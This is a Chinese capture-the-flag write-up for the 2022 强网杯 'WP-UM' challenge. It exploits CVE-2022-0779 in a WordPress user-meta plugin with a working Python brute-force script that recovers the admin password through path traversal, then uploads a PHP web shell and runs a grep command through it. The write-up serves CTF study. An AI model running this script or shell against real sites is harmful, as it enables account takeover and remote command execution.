当前位置:网站首页>[强网杯2022]WP-UM
[强网杯2022]WP-UM
2022-08-05 09:52:00 【Landasika】
考点: WordPress User Meta Lite Pro 2.4.3 Path遍历漏洞CVE-2022-0779
首先初始化题目

获取管理员账号密码
注册一个用户

登陆用户

抓上传的数据包

然后发送,拦截一个action=um_show_uploaded_file的数据包

根据首页信息可以得到管理员的用户名

利用CVE-2022-0779 Path遍历漏洞,如果存在这个文件,那么会显示Remove,如果没有这个文件,就不会存在Remove


爆破得到密码
import requests
lis='qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
password=''
url="http://ip:port/wp-admin/admin-ajax.php"
header={
'Host': 'ip:port',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Origin': 'http://ip:port',
'Referer': 'http://ip:port/index.php/upload/',
'Cookie':'wordpress_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C773b42bf40849a9d6365ec60b43eb256204f1c41a3c52103702ac0ea8b910a85; wordpress_logged_in_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C46c1c28f20badcb553d1aef7f4ee2f926b5a6b9cb83e0f934a230f38d30a88cc'
}
for i in range (1,16):
for s in lis:
datas="field_name=upload&filepath=/../../../../../../../password/"+str(i)+s+"&field_id=um_field_2&form_key=upload&action=um_show_uploaded_file&pf_nonce=8a8f9c780f&is_ajax=true"
result=requests.post(url,data=datas,headers=header)
if 'Remove' in result.text:
password+=s
break
print (password)

上传一句话木马
修改上传文件设置


然后进入页面里面更新

上传一句话木马

获取flag
进入wp-content/uploads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);
oads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);

边栏推荐
- 韦东山 数码相框 项目学习(六)tslib的移植
- 无题十三
- [Unity] [UGUI] [Display text on the screen]
- How ali cloud storage database automatically to speed up the loading speed of www.cxsdkt.cn how to set up the case?
- PAT乙级-B1020 月饼(25)
- 2022.8.3
- CCVR eases heterogeneous federated learning based on classifier calibration
- Marketing Suggestions | You have an August marketing calendar to check! Suggest a collection!
- 轩辕实验室丨欧盟EVITA项目预研 第一章(四)
- 公众号如何运维?公众号运维专业团队
猜你喜欢

There is only one switch, how to realize the nqa of master-slave automatic switching

茄子科技CEO仇俊:以用户为中心,做用户真正需要的产品

创建一个 Dapp,为什么要选择波卡?

【AGC】增长服务1-远程配置示例

Weekly Report 2022-8-4

Advanced usage of C language

seata源码解析:事务状态及全局锁的存储

ECCV 2022 Oral Video Instance Segmentation New SOTA: SeqFormer & IDOL and CVPR 2022 Video Instance Segmentation Competition Champion Scheme...

什么是CRM决策分析管理?

Redis源码解析:Redis Cluster
随机推荐
Two-table query average grouping in sql server
PAT Class B-B1019 Digital Black Hole (20)
无题十二
shell脚本实例
无题四
How ali cloud storage database automatically to speed up the loading speed of www.cxsdkt.cn how to set up the case?
seata源码解析:事务状态及全局锁的存储
自定义过滤器和拦截器实现ThreadLocal线程封闭
Dry goods!Generative Model Evaluation and Diagnosis
只有一台交换机,如何实现主从自动切换之nqa
Is there a problem with writing this?How to synchronize data in sql-client
21 Days of Deep Learning - Convolutional Neural Networks (CNN): Weather Recognition (Day 5)
PAT乙级-B1020 月饼(25)
dotnet OpenXML parsing PPT charts Getting started with area charts
leetcode: 529. 扫雷游戏
Bias lock/light lock/heavy lock lock is healthier. How is locking and unlocking accomplished?
PAT乙级-B1021 个位数统计(15)
dotnet OpenXML 解析 PPT 图表 面积图入门
入门 Polkadot 平行链开发,看这一篇就够了
Why are RELTABLESPACE values 0 for many tables displayed in sys_class?